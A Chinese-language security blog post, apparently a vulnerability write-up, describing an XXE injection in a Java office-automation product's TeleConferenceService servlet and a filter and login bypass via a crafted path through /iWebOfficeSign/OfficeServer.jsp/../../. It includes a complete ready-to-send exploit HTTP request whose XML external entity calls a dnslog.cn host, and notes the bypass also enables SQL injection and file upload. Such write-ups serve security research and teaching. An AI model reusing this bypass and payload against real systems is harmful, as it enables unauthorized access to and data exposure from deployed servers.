漏洞详情
该漏洞尚未提交
漏洞原理
存在一个解析xml的servlet“TeleConferenceService”,xml内容可控,跟进createDoc看看
典型的java xxe注入模板
当我尝试直接注入xml时,失败,dnslog无法收到信息,这个时候不要慌张,我们去找找拦截器、过滤器
在“SetCharacterEncodingFilter”里面找到该请求会进入haveXXE方法里面判断,跟进看看怎么过滤的
发送的xml包含声明头(DOCTYPE)就拦截了,这里肯定绕不过了
既然这里绕不过,我们就从其他地方绕过,不进入havexxe这个方法,也就是在执行havexxe之前就直接让过滤器放我们通过,也就是进入红框里面的逻辑
通过getRequestURI方法来进行权限判定存在安全性问题的,自行百度,想执行doFilter放行,就需要满足条件(请求url当中包含/iWebOfficeSign/OfficeServer.jsp)构造特殊url绕过xxe检测(同时也绕过了登录检测等,直接能访问jsp文件了),dnslog就接收到了
漏洞利用
数据包
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService HTTP/1.1
Host: *************
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
x-forwarded-for:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OASESSIONID=8DFFC455DEB1E82DDFB7F8E562164502; LocLan=zh_CN; ezofficeDomainAccount=whir; ezofficeUserName=admin; ezofficeUserPortal=; ezofficePortal0=
Connection: close
Content-Length: 139
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://j3i6yf.dnslog.cn" >]>
<value>&xxe;</value>
总结
后续的诸多漏洞都利用到了该登录绕过方式,触发sql、任意文件上传等
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论